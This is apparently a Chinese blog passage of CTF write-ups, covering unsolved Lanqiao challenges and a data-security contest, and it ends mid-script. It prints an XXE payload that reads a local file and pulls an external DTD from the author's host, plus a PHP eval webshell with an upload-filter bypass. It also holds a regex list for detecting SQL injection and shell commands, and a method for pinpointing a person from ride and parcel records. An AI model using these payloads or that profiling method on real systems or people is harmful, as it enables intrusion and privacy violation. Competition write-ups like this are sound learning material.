1. 注册 2. 登录 3. 退出 请输入选项编号: 2 若是能以admin身份登录就给你flag。 请输入auth: eHDaWi860uwUt/Khad7iSw== 登录成功! 你是以 user 身份登录 也就是说登录跟密码一点关系都没有,我们要做的是利用 ECB 模式的缺陷,使得我们的 auth 变成 admin 的 auth 那么问题来了 ECB 的缺陷是什么???(不让上网查呀我没办法呀) 【密码破解】Enigma(未出) Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。 (本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。) 布什戈门?这 tm 是个啥哟??? 题目给了一个 html 文件,打开是赛博厨子(设定好的) 没懂这是什么原理,又不让查,下一个 【漏洞挖掘分析】星际XML解析器(未出) 你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘! 打开是一个网页 确实实现了 xml 的解析,我开始在想是不是 XXE(因为 ADCTF 做过一道 XXE),先浅浅地拿 ADCTF 的 payload 来试试(虽然远程文件不存在) 1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd"> %dtd; %send; ]> <reg><name>11</name><tel>22</tel><email>33</email></reg> 然后就报错了 看来并不是 XXE 那一套,还是不给查,我也没办法 【逆向分析】ShadowPhases(未出) 在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:’相位间存在密钥共鸣,但需警惕内存中的镜像陷阱.. 先惯例拖进 IDA 看看有没有什么线索,但是我没看出来 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 int __fastcall main(int argc, const char **argv, const char **envp) { char Str1[128]; // [rsp+30h] [rbp-50h] BYREF char Str2[128]; // [rsp+B0h] [rbp+30h] BYREF void *v6; // [rsp+130h] [rbp+B0h] void *v7; // [rsp+138h] [rbp+B8h] void *v8; // [rsp+140h] [rbp+C0h] void *v9; // [rsp+150h] [rbp+D0h] void *v10; // [rsp+158h] [rbp+D8h] void *v11; // [rsp+160h] [rbp+E0h] char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREF char v13[15]; // [rsp+17Bh] [rbp+FBh] BYREF char Src[5]; // [rsp+18Ah] [rbp+10Ah] BYREF char v15[9]; // [rsp+18Fh] [rbp+10Fh] BYREF void *v16; // [rsp+198h] [rbp+118h] void *v17; // [rsp+1A0h] [rbp+120h] void *Block; // [rsp+1A8h] [rbp+128h] char v19[6]; // [rsp+1B2h] [rbp+132h] BYREF size_t v20; // [rsp+1B8h] [rbp+138h] size_t v21; // [rsp+1C0h] [rbp+140h] size_t Size; // [rsp+1C8h] [rbp+148h] sub_401B10(); Src[0] = 0; // src = [0, 5, -125, 0x80, -114] Src[1] = 5; Src[2] = -125; Src[3] = 0x80; Src[4] = -114; strcpy(v15, "+"); v15[2] = -125; // v15 = ["+", -125, 47, -86, 43, -127, -88, -91] v15[3] = 47; v15[4] = -86; v15[5] = 43; v15[6] = -127; v15[7] = -88; v15[8] = -91; Size = 14i64; v13[0] = 19; // v13 = [19, 57, -66, -66, -76, 56, -72, -70, -69, -96, 62, -112, 58, -70, -76] v13[1] = 57; v13[2] = -66; v13[3] = -66; v13[4] = -76; v13[5] = 56; v13[6] = -72; v13[7] = -70; v13[8] = -69; v13[9] = -76; v13[10] = 62; v13[11] = -112; v13[12] = 58; v13[13] = -70; v13[14] = -76; v21 = 15i64; v12[0] = -117; // v12 = [-117, -119, 3, 4, -120, -117, 32, 9, 34, -120, 8, -115, -120, -81] v12[1] = -119; v12[2] = 34; v12[3] = -120; v12[4] = -117; v12[5] = 32; v12[6] = 9; v12[7] = 34; v12[8] = -120; v12[9] = 8; v12[10] = -115; v12[11] = -120; v12[12] = -81; v20 = 13i64; v19[5] = -103; // v19 = ['"', "D", "f", -1, -35, -103] v19[4] = -35; v19[3] = -1; qmemcpy(v19, "\"Df", 3); Block = malloc(0xFui64); v17 = malloc(v21 + 1); v16 = malloc(v20 + 1); if ( !Block || !v17 || !v16 ) { puts(&Buffer); exit(1); } memcpy(Block, Src, Size); memcpy(v17, v13, v21); memcpy(v16, v12, v20); sub_4015B6((__int64)Block, Size, v19[2]); sub_4015B6((__int64)v17, v21, v19[1]); sub_4015B6((__int64)v16, v20, v19[0]); *((_BYTE *)Block + Size) = 0; *((_BYTE *)v17 + v21) = 0; *((_BYTE *)v16 + v20) = 0; v9 = v17; v10 = v16; v11 = Block; v6 = Block; v7 = v17; v8 = v16; sub_401550(Str2, 0x80ui64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16); printf(&Format); scanf("%127s", Str1); if ( !strcmp(Str1, Str2) ) puts(&byte_40502A); else puts(&byte_405031); free(Block); free(v17); free(v16); return 0; } 【逆向分析】BashBreaker(未出) 赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。 简单来说这就是在 15 步的步程内,双方都可以选择走 1~3 步,谁先走到终点谁就赢了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int v5[2]; // [rsp+2Ch] [rbp-14h] BYREF unsigned int i; // [rsp+34h] [rbp-Ch] int v7; // [rsp+38h] [rbp-8h] int v8; // [rsp+3Ch] [rbp-4h] _main(argc, argv, envp); v8 = 15; v3 = time(0i64); srand(v3); puts("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program"); puts("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n"); v5[1] = 0; while ( v8 > 0 ) { printf("Remaining steps: [%d]\n", (unsigned int)v8); do { printf("Number of steps (1-3): "); while ( scanf("%d", v5) != 1 ) { printf("Input error, please re-enter: "); while ( getchar() != 10 ) ; } if ( v5[0] > 0 && v5[0] <= 3 ) { if ( v8 < v5[0] ) printf(aNotEnoughSteps, (unsigned int)v8); } else { puts(aMustTake13Step); } } while ( v5[0] <= 0 || v5[0] > 3 || v8 < v5[0] ); v8 -= v5[0]; printf("* Player walks %d steps, remaining %d\n\n", (unsigned int)v5[0], (unsigned int)v8); if ( v8 <= 0 ) { full_decrypt(); puts("This is your KEY. You deserve it ! !"); for ( i = 0; i <= 0x2F; ++i ) printf("%02X", real_key[i]); break; } v7 = calculate_best_move((unsigned int)v8); if ( v7 <= 0 || v7 > 3 ) v7 = 1; if ( v7 > v8 ) v7 = v8; v8 -= v7; printf("* The AI takes %d steps, remaining %d\n\n", (unsigned int)v7, (unsigned int)v8); if ( v8 <= 0 ) puts("This treasure does not belong to you. Go back, Boy"); } printf("\nGame over ! "); system("pause"); return 0; } 在 calculate_best_move 函数中能够看到对手的逻辑 1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall calculate_best_move(int a1) { if ( a1 <= 0 ) return 0i64; if ( a1 % 4 ) return (unsigned int)(a1 % 4); if ( a1 == 4 ) return 3i64; if ( a1 == 8 ) return 3i64; return (unsigned int)(rand() % 3 + 1); } 如果剩余的步数小于等于 0,返回 0;如果 a1 % 4 != 0,就返回余数,如果 a1 == 4 或者 a1 == 8,就返回 3,其他时候返回一个随机的步数 我相信这一题肯定不会是让你真的来做完这个游戏的,但是我也不知道咋做 【漏洞挖掘分析】RuneBreach(未出) 你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。 然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击! 这个题目里面说到”魔法沙箱结界”,我在想是不是沙箱逃逸 拖进 IDA 看一眼,在函数 battle_loop 里面有战斗相关的逻辑 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 void __noreturn battle_loop() { unsigned int v0; // eax char v1; // [rsp+3h] [rbp-1Dh] int v2; // [rsp+4h] [rbp-1Ch] unsigned int v3; // [rsp+8h] [rbp-18h] int v4; // [rsp+10h] [rbp-10h] int v5; // [rsp+18h] [rbp-8h] v4 = 100; v5 = 150; v2 = 1; puts("\n==== BOSS BATTLE START ===="); while ( 1 ) { v0 = v2++; printf("\n-- Round %d --\n", v0); printf("Player HP: %d | Boss HP: %d\n", (unsigned int)v4, (unsigned int)v5); v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20); printf("You attack! Damage: %d\n", v3); v5 -= v3; if ( v5 <= 0 ) break; printf("\nDefend? (y/N): "); v1 = getchar(); while ( getchar() != 10 ) ; if ( v1 == 121 || v1 == 89 ) { v4 -= 7; printf("You defend! Damage reduced: %d\n", 15LL); } else { v4 -= 30; printf("No defense! Damage taken: %d\n", 30LL); } if ( v4 <= 0 ) { puts("\n[System] Game Over..."); boss_victory(); exit(0); } } puts("\n[System] Boss defeated!"); victory_message(); exit(0); } 然后如果打败了 Boss,会让你说胜利宣言,此时在 victory_message 函数里面获取输入用的是 gets 1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 victory_message() { char v1[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); printf("[System] Enter victory comment: "); gets(v1); printf("Your comment: %s\n", v1); return __readfsqword(0x28u) ^ v2; } 然后 v1 的长度是 40,所以暂且认为这里有一个栈溢出 然后再看输了的逻辑,Boss 会说这块领地是它的了,然后会告诉你这块领地(内存)的地址(但其实程序最开始也告诉你了) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 boss_victory() { void *addr; // [rsp+0h] [rbp-10h] addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL); if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 ) { perror("mprotect failed"); exit(1); } printf("[BOSS] Your place is mine now %p!\n", addr); printf("[BOSS] Say your last word to your territory: "); read(0, addr, 1056uLL); return ((__int64 (*)(void))addr)(); } 这里用的是 read 读取,看起来没有什么可以用的,而且 addr 是一个指针 所以大概率能利用的是那个栈溢出,但是我没有找到 vuln 那种可利用的函数 【漏洞挖掘分析】Jdbc_once(未出) Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。 (题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答) 这就是公告里面说可以查的那一体,焚靖确实可以自动化测 SSTI,打开题目提供的 8888 端口就是一个焚靖,但是如果我们直接访问 80 端口就会被拦住,提示 Only 127.0.0.1,而我修改标头也没有绕过这一点 但是用焚靖就可以访问 没明白这题想要干嘛,说实话 总结 我太菜了(呜呜呜 蓝桥初赛断网抽象归抽象,但说到底还是有点储备不足了……咱确实也不是全栈爷 =-= 但是但是,事不过三,蓝桥肯定不会有下一次了,我绝对不会再报蓝桥了,本来是想要弄点比赛加分才打的,但是后面发现这玩意在我们学校加分挺少的,而且报个名还有 300 块,所以肯!定!不!会!再!有!下!次!了!

2025/4/26
articleCard.readMore

【Volcania】2025 数字中国创新大赛数据安全产业积分争夺赛初赛 Writeup

数据安全 ez_upload | @Rusty 明显考察的是文件上传漏洞,按顺序一个个试,先上传了个txt和png、jpg,都不行,然后试试php,也不行,看来对文件后缀的过滤很严格。最后测试phtml可以实现绕过 直接上传<?php发现会被拦截,经测试用短标签<?=可以绕过 参考链接:https://blog.csdn.net/m0_53008479/article/details/123366077 挂马 te.phtml 1 2 #te.phtml <?=eval($_POST['ant'])?> 蚂剑连接找到rsa文件夹 /var/www/rssss4a 模型安全 数据预处理 网页数据需要从原始 HTML 结构,每个商品的链接为 http://47.117.186.154:32903/index.php?controller=product&action=detail&id=<:id> id 为 1-500 的纯数字,因为有情感色彩分析,考虑用本地 ollama 先写一个数据抓取脚本,来抓取数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from bs4 import BeautifulSoup import csv import httpx from tqdm import tqdm data_list = [] for i in tqdm(range(1, 501)): html_content = httpx.get(f"http://47.117.186.154:32903/index.php?controller=product&action=detail&id={i}").text soup = BeautifulSoup(html_content, 'html.parser') # 获取商品信息 product_name_element = soup.find('section', class_='product-detail').find('h2') product_name = product_name_element.text.strip() if product_name_element else '' product_price_element = soup.find('span', id='productPrice') product_price = product_price_element.text.strip() if product_price_element else '' product_sales_element = soup.find('span', id='productSales') product_sales = product_sales_element.text.strip() if product_sales_element else '' product_description_element = soup.find('div', class_='product-description').find('p') product_description = product_description_element.text.strip() if product_description_element else '' # 商品ID product_id = i data_list.append({ '商品ID': product_id, '商品名称': product_name, '商品销量': product_sales, '商品价格': product_price, '商品描述': product_description, '用户ID': -1, '用户名': "Luminoria", '电话': "1145141919810", 'UA': "NOT_A_UA", '评论内容': "NO_COMMENT" }) # 获取评论信息 reviews = soup.find('section', class_='product-reviews').find_all('div', class_='review-item') for review in reviews: reviewer_info = review.find('div', class_='reviewer-info') user_id_element = reviewer_info.find('span', class_='user-id') user_id = user_id_element.text.replace('用户ID:', '').strip() if user_id_element else '' username_element = reviewer_info.find('span', class_='reviewer-name') username = username_element.text.replace('用户名:', '').strip() if username_element else '' phone_element = reviewer_info.find('span', class_='reviewer-phone') phone = phone_element.text.replace('联系电话:', '').strip() if phone_element else '' ua_element = reviewer_info.find('span', class_='user-agent') ua = ua_element.text.replace('使用设备:', '').strip() if ua_element else '' review_content_element = review.find('div', class_='review-content') review_content = review_content_element.text.strip() if review_content_element else '' data_list.append({ '商品ID': product_id, '商品名称': product_name, '商品销量': product_sales, '商品价格': product_price, '商品描述': product_description, '用户ID': user_id, '用户名': username, '电话': phone, 'UA': ua, '评论内容': review_content }) # 写入 CSV 文件 csv_file_path = 'data.csv' csv_columns = ['商品ID', '商品名称', '商品销量', '商品价格', '商品描述', '用户ID', '用户名', '电话', 'UA', '评论内容'] with open(csv_file_path, 'w', newline='', encoding='utf-8') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=csv_columns) writer.writeheader() writer.writerows(data_list) print(f"数据已保存到 {csv_file_path}") 得到一个含有所有内容的 csv 文件,然后拿着这个 CSV 做题 数据标注与完整性校验 | @Luminoria 任务一(数据标注与完整性校验):针对在线团购平台提供的原始用户评论数据,爬取用户评论数据,进行情感标注(正面/负面),并基于用户ID、用户名、手机号生成MD5签名以校验完整性。按附件模板和任务书要求提交处理后的submit_1.csv文件进行评分。 用 qwen 进行情感判断 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import csv import ollama import hashlib from tqdm import tqdm def get_sentiment_from_ollama(text): """ 使用本地 Ollama 模型识别文本的情感色彩 (正面/负面)。 Args: text (str): 要分析的文本。 Returns: int: 1 代表正面情感,0 代表负面情感,None 代表无法确定或出错。 """ prompt = f"请分析以下评论的情感色彩,判断是正面还是负面。如果评论是正面的,请回答 '正面',如果是负面的,请回答 '负面'。只返回 '正面' 或 '负面' 两个词,如果你认为是中性的,你应该回答 '正面'\n评论内容:\n{text}\n情感色彩:" try: response = ollama.chat(model='qwen2.5:7B', messages=[ { 'role': 'user', 'content': prompt, }, ]) sentiment_label = response['message']['content'].strip() if "正面" in sentiment_label: return 1 elif "负面" in sentiment_label: return 0 else: print(f"Ollama 无法识别情感: {sentiment_label}, 评论文本: {text}") return None except Exception as e: print(f"Ollama 调用出错: {e}, 评论文本: {text}") return None def calculate_signature(user_id, username, phone): """ 计算用户签名,使用 MD5 运算。 Args: user_id (str): 用户ID. username (str): 用户名. phone (str): 用户手机号. Returns: str: MD5 签名字符串. """ signature_string = str(user_id) + username + phone md5_hash = hashlib.md5(signature_string.encode('utf-8')).hexdigest() return md5_hash def process_comments_and_sentiment(input_csv_file, output_csv_file): """ 从 data.csv 中读取评论数据,进行情感分析,并保存结果到 q1.csv。 Args: input_csv_file (str): 输入 CSV 文件路径 (data.csv). output_csv_file (str): 输出 CSV 文件路径 (q1.csv). """ output_data = [] with open(input_csv_file, 'r', encoding='utf-8') as infile: reader = csv.DictReader(infile) for row in tqdm(reader): user_id = row['用户ID'] username = row['用户名'] phone = row['电话'] review_content = row['评论内容'] if username == "Luminoria":# 提取数据时产生的占位行,要忽略 continue sentiment_label = get_sentiment_from_ollama(review_content) if sentiment_label is not None: signature = calculate_signature(user_id, username, phone) output_data.append({ 'user_id': user_id, 'label': sentiment_label, 'signature': signature }) csv_columns = ['user_id', 'label', 'signature'] with open(output_csv_file, 'w', newline='', encoding='utf-8') as outfile: writer = csv.DictWriter(outfile, fieldnames=csv_columns) writer.writeheader() writer.writerows(output_data) print(f"评论情感分析完成,结果已保存到 {output_csv_file}") if __name__ == "__main__": input_csv_file = 'data.csv' output_csv_file = 'q1.csv' process_comments_and_sentiment(input_csv_file, output_csv_file) 得到 q1.csv 改名 submit_1.csv 交了就行 数据清洗及特征工程 | @Luminoria 一样是使用 qwen2.5-7B 进行分类判断,其他正常清洗即可 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import csv import ollama from tqdm import tqdm def get_category_id_from_ollama(product_name, category_list_str): """ 使用本地 Ollama 模型根据商品名称获取最合适的分类 ID。 Args: product_name (str): 商品名称. category_list_str (str): 分类列表字符串. Returns: str: 最合适的分类 ID,如果无法确定则返回 None. """ prompt = f"请根据商品名称 '{product_name}',从以下分类列表中选择最合适的分类ID。只返回ID数字,不要返回其他文字。\n分类列表:\n{category_list_str}\n分类ID:" try: response = ollama.chat(model='qwen2.5:7b', messages=[ { 'role': 'user', 'content': prompt, }, ]) category_id = response['message']['content'].strip() if category_id.isdigit(): return category_id else: print(f"Ollama 返回的分类ID不是数字: {category_id}, 商品名称: {product_name}") return None except Exception as e: print(f"Ollama 调用出错: {e}, 商品名称: {product_name}") return None def clean_data_and_categorize(input_csv_file, output_csv_file): """ 读取 data.csv 文件,进行数据清洗、商品分类和聚合,并将结果保存到 q2.csv 文件。 Args: input_csv_file (str): 输入 CSV 文件路径 (data.csv). output_csv_file (str): 输出 CSV 文件路径 (q2.csv). """ category_list = { 1: "手机", 2: "母婴用品", 3: "家具", 4: "书籍", 5: "蔬菜", 6: "厨房用具", 7: "办公", 8: "睡衣", 9: "宠物", 10: "运动", 11: "热水器", 12: "彩妆", 13: "保健品", 14: "酒水", 15: "玩具乐器", 16: "汽车", 17: "床上用品", 18: "洗护用品", 19: "五金", 20: "户外", 21: "珠宝", 22: "医疗器械", 23: "花卉园艺", 24: "游戏", 25: "园艺" } category_list_str = "\n".join([f"{k}. {v}" for k, v in category_list.items()]) product_data = {} # 用于存储商品信息和评论计数,key 是 商品ID product_names = {} # 用于存储商品名称,key 是 商品ID,用于去重分类 with open(input_csv_file, 'r', encoding='utf-8') as infile: reader = csv.DictReader(infile) for row in reader: product_id = row['商品ID'] product_name = row['商品名称'] product_sales_str = row['商品销量'] # 清洗销量数据 try: product_sales = int(float(product_sales_str.replace(',', ''))) if product_sales < 0 or product_sales_str == '': # 空字符串也当做0 product_sales = 0 except ValueError: product_sales = 0 if product_id not in product_data: product_data[product_id] = { '销量': product_sales, '评论总数': 0, '分类ID': None, # 初始分类ID为None } product_names[product_id] = product_name # 记录商品名称用于分类 if row["用户名"] == "Luminoria":# 提取数据时产生的占位行,要忽略 continue product_data[product_id]['评论总数'] += 1 # 每次读取到同一商品ID的评论,评论总数加1 # 调用 Ollama 获取分类ID for product_id, product_name in tqdm(product_names.items()): category_id = get_category_id_from_ollama(product_name, category_list_str) if category_id: product_data[product_id]['分类ID'] = category_id else: product_data[product_id]['分类ID'] = '0' # 无法分类的设置为0或其他默认值 # 准备写入 q2.csv 的数据,并排序 output_data = [] for product_id in sorted(product_data.keys(), key=int): # 按照商品ID升序排序 output_data.append({ 'ID': product_id, '销量': product_data[product_id]['销量'], '分类ID': product_data[product_id]['分类ID'] if product_data[product_id]['分类ID'] else '0', # 确保分类ID不为None '评论总数': product_data[product_id]['评论总数'] }) csv_columns = ['product_id', 'sales', 'category_id', 'reviews_number'] with open(output_csv_file, 'w', newline='', encoding='utf-8') as outfile: writer = csv.DictWriter(outfile, fieldnames=csv_columns) writer.writeheader() writer.writerows(output_data) print(f"数据清洗、分类和聚合完成,结果已保存到 {output_csv_file}") if __name__ == "__main__": input_csv_file = 'data.csv' output_csv_file = 'submit_2.csv' clean_data_and_categorize(input_csv_file, output_csv_file) 然后将保存的 submit_2.csv 提交就行 隐私保护与恶意检测 | @Luminoria 因为不存在需要 AI 判断的东西,所以直接用 re 抓关键词就行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import csv import re from tqdm import tqdm import ollama # 手机号脱敏函数 def desensitize_phone(phone): digits = re.sub(r'\D', '', str(phone)) # 去除非数字字符 if len(digits) < 7: return '' return digits[:3] + "****" + digits[-4:] # 恶意代码检测函数 def is_malicious(ua): if not ua or ua.strip() == "NOT_A_UA": return False # 定义恶意代码正则表达式规则 patterns = [ # SQL注入检测 r';\s*(select|insert|update|delete|drop)\b', r'\bunion\s+select\b', r'\bselect\b.*\bfrom\b', # XSS检测 r'<\s*script\b.*?>.*?<\s*/\s*script\s*>', r'onerror\s*=', r'onload\s*=', # 命令执行检测 r'(\|\||&&|\$\(|\b(wget|curl|rm|ls|cat|echo)\b)', # 代码执行检测 r'\b(eval|exec|system|passthru|shell_exec)\s*\(', ] for pattern in patterns: if re.search(pattern, ua, re.IGNORECASE): return True return False # 统计有效行数 valid_rows = 0 with open('data.csv', 'r', encoding='utf-8') as f: reader = csv.DictReader(f) for row in reader: if row['用户名'] != 'Luminoria': valid_rows += 1 # 处理数据并收集结果 processed = [] with open('data.csv', 'r', encoding='utf-8') as f_in: reader = csv.DictReader(f_in) with tqdm(total=valid_rows, desc="Processing", unit="row") as pbar: for row in reader: if row['用户名'] == 'Luminoria':# 提取数据时产生的占位行,要忽略 continue # 手机号脱敏 desen_phone = desensitize_phone(row['电话']) # 恶意代码检测 ua = row['UA'] is_mal = is_malicious(ua) code_check = 'FALSE' if is_mal else 'TRUE' # 保存结果 processed.append({ 'user_id': int(row['用户ID']), 'desensitization': desen_phone, 'code_check': code_check }) pbar.update(1) # 按user_id升序排序 processed.sort(key=lambda x: x['user_id']) # 写入结果文件 with open('submit_3.csv', 'w', newline='', encoding='utf-8') as f_out: writer = csv.DictWriter(f_out, fieldnames=['user_id', 'desensitization', 'code_check']) writer.writeheader() writer.writerows(processed) print("处理完成,结果已保存至 submit_3.csv") 然后直接交出来的文件就行 社会工程 张华强的公司名称 | @Luminoria @Ron 个人做法 在队友给了公司名的情况下,用脚本去搜题目提供的工商信息里面的内容 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import os import openpyxl def search_keyword_in_excel(folder_path, keyword): """ 遍历指定文件夹下的所有xlsx文件,查找包含关键词的行并打印。 Args: folder_path: 包含xlsx文件的文件夹路径。 keyword: 要搜索的关键词。 """ found_files = False # 标记是否找到包含关键词的文件 for filename in os.listdir(folder_path): if filename.endswith(".xlsx"): file_path = os.path.join(folder_path, filename) print(f"正在处理文件: {filename}") found_in_file = False # 标记当前文件是否找到关键词 try: workbook = openpyxl.load_workbook(file_path) for sheet_name in workbook.sheetnames: sheet = workbook[sheet_name] for row_index, row in enumerate(sheet.rows, start=1): # 从第一行开始,row_index从1开始 row_values = [str(cell.value) for cell in row] # 将单元格值转换为字符串,处理None值 if any(keyword in value for value in row_values if value is not None): # 检查关键词是否存在于行的任何单元格中 (忽略None值) found_in_file = True found_files = True print(f" - 表单: {sheet_name}, 行号: {row_index}, 内容: {row_values}") if not found_in_file: print(f" - 未在文件中找到关键词 '{keyword}'。") else: print(f" - 在文件中找到关键词 '{keyword}'。") except Exception as e: print(f" - 处理文件 {filename} 时出错: {e}") if not found_files: print(f"在文件夹 '{folder_path}' 中没有任何文件包含关键词 '{keyword}'。") if __name__ == "__main__": folder_to_search = "gongshang" keyword_to_find = "博林科技" if not os.path.exists(folder_to_search): print(f"错误: 文件夹 '{folder_to_search}' 不存在。请确保文件夹路径正确。") else: print(f"开始在文件夹 '{folder_to_search}' 中搜索关键词 '{keyword_to_find}'...") search_keyword_in_excel(folder_to_search, keyword_to_find) print("搜索完成。") 在 data47.xlsx 中能找到相关的信息 1 2 3 正在处理文件: data47.xlsx - 表单: Sheet1, 行号: 5216, 内容: ['99640928131194569978', '杭州市', '闵行区星辰信息技术园', '江苏博林科技有限公司'] - 在文件中找到关键词 '博林科技'。 队友做法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import sqlite3 import os import datetime import csv from collections import defaultdict def get_db_path(date): return f"./附件/rides/{date}.db" def query_data(start_date, end_date): current_date = start_date user_rides = defaultdict(int) while current_date <= end_date: print(current_date) db_path = get_db_path(current_date.strftime('%Y-%m-%d')) if os.path.exists(db_path): conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute(""" SELECT name, phone FROM location_data WHERE strftime('%w', date) BETWEEN '1' AND '5' AND name LIKE '张%' """) for name, phone in cursor.fetchall(): user_rides[(name, phone)] += 1 conn.close() current_date += datetime.timedelta(days=1) sorted_rides = sorted(user_rides.items(), key=lambda x: x[1], reverse=True) return sorted_rides if __name__ == "__main__": start_date = datetime.date(2024, 12, 1) end_date = datetime.date(2024, 12, 31) results = query_data(start_date, end_date) with open("result.csv", "w", newline="", encoding="utf-8") as file: writer = csv.writer(file) writer.writerow(["Name", "Phone", "Rides"]) for (name, phone), count in results: writer.writerow([name, phone, count]) for (name, phone), count in results: print(f"{name} ({phone}): {count} rides") 先用Python 拿到每个用户(用户名和手机号一致为一个)在周一到周五打车的数据条目数 发现138****9377遥遥领先 在db中翻找发现周一到周五都有打车,周末没有,基本符合 张某的生活习惯为:周一到周五从家打车去公司,周末无明显固定作息 在快递中搜索手机号找到数据 1 2 MF7297484562175167 2025-01-21 宋** 134****9281 **市**区******中心32楼兰金电子 张** 138****9377 **市**区******息技术园16楼博林科技 MF3442357592017816 2025-02-01 金** 188****9754 **市**区******来智汇园6楼易动力信 张** 138****9377 **市**区******息技术园16楼博林科技 结合爬取的工商信息,提交张某所属公司的全称 答案为:江苏博林科技有限公司 张华强的手机号 | @Luminoria @Ron 个人做法 还是跑脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import os import re from bs4 import BeautifulSoup from tqdm import tqdm def extract_info_from_html(html_content): """ 从 HTML 内容中提取手机号和身份证号。 Args: html_content: HTML 文件的字符串内容。 Returns: 一个字典,包含 'phone_number' 和 'id_number',如果没有找到则为 None。 """ soup = BeautifulSoup(html_content, 'html.parser') # 查找是否包含 "张华强" if "张华强" not in soup.body.get_text(): return None # 查找隐藏信息 hidden_info_div = soup.find('div', class_='hidden-info') if hidden_info_div: info_text = hidden_info_div.text parts = info_text.split('|') if len(parts) == 2: phone_number = parts[0] id_number = parts[1] # 验证手机号格式是否为 138****9377 phone_pattern = 